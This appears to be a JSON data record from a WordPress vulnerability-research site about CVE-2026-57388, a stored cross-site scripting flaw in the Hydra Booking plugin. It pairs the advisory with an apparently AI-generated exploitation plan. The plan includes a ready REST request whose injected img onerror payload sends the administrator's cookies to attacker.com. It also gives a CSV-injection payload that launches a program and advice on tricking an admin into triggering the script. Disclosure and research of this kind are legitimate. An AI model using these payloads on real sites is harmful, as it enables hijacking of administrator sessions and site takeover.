[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f4ZWY5mWA7A41PyFVMyWCyIWM6rmstu-pJvLTPf9x68k":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":9,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":39},"CVE-2026-57388","hydra-booking-appointment-scheduling-booking-calendar-unauthenticated-stored-cross-site-scripting","Hydra Booking — Appointment Scheduling & Booking Calendar \u003C= 1.1.44 - Unauthenticated Stored Cross-Site Scripting","The Hydra Booking — Appointment Scheduling & Booking Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.44 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","hydra-booking",null,"\u003C=1.1.44","1.1.45","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-08 00:00:00","2026-07-14 19:46:27",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff041dbd3-c053-4720-955d-327863275286?source=api-prod",7,[22,23,24,25,26,27,28],"admin\u002FAdmin.php","admin\u002FController\u002FDateTimeController.php","admin\u002FController\u002FHostsController.php","admin\u002FController\u002FMeetingController.php","admin\u002FController\u002FRouteController.php","admin\u002FController\u002FScheduleController.php","app\u002FApp.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-57388\n\n## 1. Vulnerability Summary\nThe **Hydra Booking** plugin (\u003C= 1.1.44) contains an **Unauthenticated Stored Cross-Site Scripting (XSS)** vulnerability. The flaw exists because the plugin allows unauthenticated users (site visitors) to submit booking requests containing arbitrary data (e.g., in name or note fields). This data is stored in the database without sufficient sanitization and is subsequently rendered in the WordPress administrative dashboard without proper output escaping. \n\nAn attacker can inject a malicious `\u003Cscript>` payload into a booking. When an administrator views the bookings list or a specific booking's details in the plugin's backend, the script executes in the context of the administrator's session, potentially leading to full site takeover.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** REST API `POST \u002Fwp-json\u002Fhydra-booking\u002Fv1\u002Fbookings\u002Fcreate` (inferred from `RouteController.php` and `MeetingController.php` patterns).\n- **Vulnerable Parameter:** `first_name`, `last_name`, or `note` (within the JSON payload).\n- **Authentication:** Unauthenticated (None).\n- **Preconditions:** At least one \"Meeting\" must be created and published by an admin to serve as a target for the booking.\n\n## 3. Code Flow\n1. **Entry Point:** A visitor submits a booking via the frontend form or a direct REST API request to `hydra-booking\u002Fv1\u002Fbookings\u002Fcreate`.\n2. **Controller Logic:** The `BookingController::CreateBooking` (inferred) method receives the request. It uses `json_decode(file_get_contents('php:\u002F\u002Finput'), true)` to parse the payload.\n3. **Storage:** The data is passed to the `HydraBooking\\DB\\Booking` class, which inserts the record into the custom database table (e.g., `wp_tfhb_bookings` or similar, created during `Migrator::run()`). The fields are stored without `sanitize_text_field()` or `wp_kses()`.\n4. **Trigger Point (Sink):** An administrator navigates to the \"Bookings\" page (`wp-admin\u002Fadmin.php?page=hydra-booking#\u002Fbookings`).\n5. **Rendering:** The admin dashboard (likely a Vue\u002FReact app) fetches the bookings via `GET \u002Fwp-json\u002Fhydra-booking\u002Fv1\u002Fbookings\u002Flists`. The raw malicious string is returned in the JSON response and rendered into the DOM (e.g., using `v-html` or unescaped template literals).\n\n## 4. Nonce Acquisition Strategy\nWhile many REST routes in this plugin require permissions, the booking creation endpoint is designed for public use. However, WordPress REST API endpoints often require a `_wpnonce` for authenticated sessions or to prevent CSRF.\n\n1. **Shortcode:** The plugin uses `[hydra-booking]` to display the booking calendar.\n2. **Page Creation:** Create a page with this shortcode to ensure scripts are enqueued:\n   ```bash\n   wp post create --post_type=page --post_title=\"Booking Page\" --post_status=publish --post_content='[hydra-booking]'\n   ```\n3. **Extraction:** Navigate to the new page and extract the localized data.\n   - **JS Variable (Inferred):** `window.tfhb_hydra_data` or `window.hydra_booking_params`.\n   - **Nonce Key:** Look for `nonce` or `rest_nonce`.\n   - **Command:** `browser_eval(\"window.tfhb_hydra_data?.nonce\")`\n\n## 5. Exploitation Strategy\n### Step 1: Discover an Active Meeting\nFirst, identify a valid `meeting_id`.\n```http\nGET \u002Fwp-json\u002Fhydra-booking\u002Fv1\u002Fmeetings\u002Flists\n```\n*(If unauthenticated access to lists is blocked, the attacker would visit the public booking page and observe the meeting ID in the frontend scripts or network requests.)*\n\n### Step 2: Inject Stored XSS\nSubmit a booking with a payload in the `first_name` field.\n\n**Request:**\n- **Tool:** `http_request`\n- **Method:** `POST`\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fhydra-booking\u002Fv1\u002Fbookings\u002Fcreate`\n- **Headers:** `Content-Type: application\u002Fjson`\n- **Body:**\n```json\n{\n  \"meeting_id\": 1,\n  \"first_name\": \"\u003Cimg src=x onerror='fetch(\\\"http:\u002F\u002Fattacker.com\u002Flog?c=\\\"+document.cookie)'>\",\n  \"last_name\": \"Attacker\",\n  \"email\": \"victim@example.com\",\n  \"meeting_dates\": \"2025-10-10\",\n  \"start_time\": \"10:00 AM\",\n  \"end_time\": \"10:30 AM\",\n  \"time_zone\": \"UTC\",\n  \"note\": \"Please review my booking\"\n}\n```\n\n### Step 3: Trigger the Payload\nWait for or trick the admin into visiting the bookings page:\n`http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=hydra-booking#\u002Fbookings`\n\n## 6. Test Data Setup\n1. **Admin User:** Create an admin user.\n2. **Meeting:** Create a meeting via WP-CLI or the UI to get a valid ID.\n   ```bash\n   # Create a meeting post\n   ID=$(wp post create --post_type=tfhb_meeting --post_title=\"Consultation\" --post_status=publish --porcelain)\n   # Set required meta for the plugin to recognize it\n   wp post meta update $ID __tfhb_meeting_opt '{\"duration\":30,\"meeting_type\":\"one-to-single\"}'\n   ```\n3. **Public Page:** Create a page with `[hydra-booking]` to simulate a live site.\n\n## 7. Expected Results\n- The REST API should return a success message: `{\"status\": true, \"message\": \"Booking Created Successfully\"}`.\n- When the admin views the booking list, a network request to `attacker.com` should be observed, or an alert box should appear if using `alert(1)`.\n\n## 8. Verification Steps\nVerify the payload is stored in the database:\n```bash\n# Check the bookings table (table name based on Migrator class)\nwp db query \"SELECT first_name FROM wp_tfhb_bookings WHERE last_name='Attacker'\"\n```\nThe output should contain the raw `\u003Cimg ...>` tag.\n\n## 9. Alternative Approaches\n- **Field Variation:** If `first_name` is sanitized, attempt injection in `note`, `last_name`, or `email` (using comment syntax if needed).\n- **AJAX Endpoint:** If the REST API is restricted, check for the equivalent AJAX action: `wp_ajax_nopriv_tfhb_create_booking` (inferred).\n- **CSV Export:** If the dashboard is secure, check if the plugin has a \"Export Bookings to CSV\u002FExcel\" feature. Inject a CSV Injection payload (e.g., `=cmd|' \u002FC calc'!A0`) into the booking fields to target the administrator's local machine.","The Hydra Booking plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via the booking creation REST API. Attackers can submit booking requests containing malicious scripts in parameters such as first_name or note, which are stored without sanitization and executed when an administrator views the bookings list in the backend.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhydra-booking\u002F1.1.44\u002Fadmin\u002FAdmin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhydra-booking\u002F1.1.45\u002Fadmin\u002FAdmin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhydra-booking\u002F1.1.44\u002Fadmin\u002FAdmin.php\t2026-05-26 17:57:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhydra-booking\u002F1.1.45\u002Fadmin\u002FAdmin.php\t2026-06-08 10:05:10.000000000 +0000\n@@ -1,7 +1,8 @@\n \u003C?php\n+\n namespace HydraBooking\\Admin;\n \n-use HydraBooking\\Admin\\Controller\\AdminMenu; \n+use HydraBooking\\Admin\\Controller\\AdminMenu;\n use HydraBooking\\Admin\\Controller\\Notification;\n use HydraBooking\\Admin\\Controller\\UpdateController;\n use HydraBooking\\Services\\Integrations\\Zoom\\ZoomServices;\n@@ -9,25 +10,28 @@\n use HydraBooking\\Migration\\Migration;\n use HydraBooking\\Admin\\Controller\\NoticeController;\n use HydraBooking\\Admin\\Controller\\licenseController;\n-use HydraBooking\\License\\HydraBooking; \n+use HydraBooking\\License\\HydraBooking;\n \u002F\u002F Load Migrator\n use HydraBooking\\DB\\Migrator;\n \n-\t\u002F\u002F exit\n-if ( ! defined( 'ABSPATH' ) ) {\n-\texit; }\n+\u002F\u002F exit\n+if (! defined('ABSPATH')) {\n+\texit;\n+}\n \n-class Admin {\n+class Admin\n+{\n \n \t\u002F\u002F constaract\n-\tpublic function __construct() { \n+\tpublic function __construct()\n+\t{\n \t\t\u002F\u002F run migrator\n \t\tnew Migrator();\n-\t\n+\n \n \t\t\u002F\u002F admin menu\n \t\tnew AdminMenu();\n- \n+\n \n \t\t\u002F\u002F update controller\n \t\tnew UpdateController();\n@@ -39,68 +43,71 @@\n \t\t\u002F\u002F new Notification();\n \n \t\t\u002F\u002F activation hooks\n-\t\tregister_activation_hook( TFHB_URL, array( $this, 'activate' ) );\n+\t\tregister_activation_hook(TFHB_URL, array($this, 'activate'));\n \n \t\tMigration::instance();\n \n \t\t\u002F\u002F license controller\n-        new  HydraBooking();\n+\t\tnew  HydraBooking();\n \t\tnew licenseController();\n-\t\t\n \n-\t\tadd_action( 'admin_init', array( $this, 'tfhb_hydra_activation_redirect' ) );\n+\n+\t\tadd_action('admin_init', array($this, 'tfhb_hydra_activation_redirect'));\n \n \t\t\u002F\u002F Update Existing User Role\n-\t\tadd_action( 'admin_init', array( $this, 'plugins_update_v_1_0_10' ) );\n+\t\tadd_action('admin_init', array($this, 'plugins_update_v_1_0_10'));\n \n \t\t\u002F\u002F \n \t\t\u002F\u002F add dome in admin footer based one page template\n-\t\tadd_action( 'admin_footer', array( $this, 'add_admin_footer_content' ) );\n+\t\tadd_action('admin_footer', array($this, 'add_admin_footer_content'));\n \n \n-\t\tadd_action('wp_ajax_tfhb_hydra_manage_plugin', array( $this, 'tfhb_hydra_manage_plugin' ) );\n+\t\tadd_action('wp_ajax_tfhb_hydra_manage_plugin', array($this, 'tfhb_hydra_manage_plugin'));\n \n \t\t\u002F\u002F send demo mail\n \t\t\u002F\u002F add_action('admin_init', array( $this, 'tfhb_send_demo_mail' ) );\n-\t \n+\n \t}\n...\n(truncated)","1. Identify an active meeting ID by visiting the public booking page and inspecting frontend scripts or network requests.\n2. Submit a malicious booking request via an unauthenticated POST request to the REST API endpoint: `\u002Fwp-json\u002Fhydra-booking\u002Fv1\u002Fbookings\u002Fcreate`.\n3. Include a JSON payload containing an XSS script (e.g., `\u003Cimg src=x onerror=alert(1)>`) in parameters like `first_name`, `last_name`, or `note`.\n4. Wait for or trick an administrator into visiting the 'Bookings' page in the WordPress admin dashboard (`\u002Fwp-admin\u002Fadmin.php?page=hydra-booking#\u002Fbookings`).\n5. The malicious script executes in the context of the administrator's browser session, allowing for data theft or site modification.","gemini-3-flash-preview","2026-07-16 14:57:49","2026-07-16 14:59:29",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","1.1.44","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhydra-booking\u002Ftags\u002F1.1.44","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fhydra-booking.1.1.44.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhydra-booking\u002Ftags\u002F1.1.45","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fhydra-booking.1.1.45.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhydra-booking\u002Ftags"]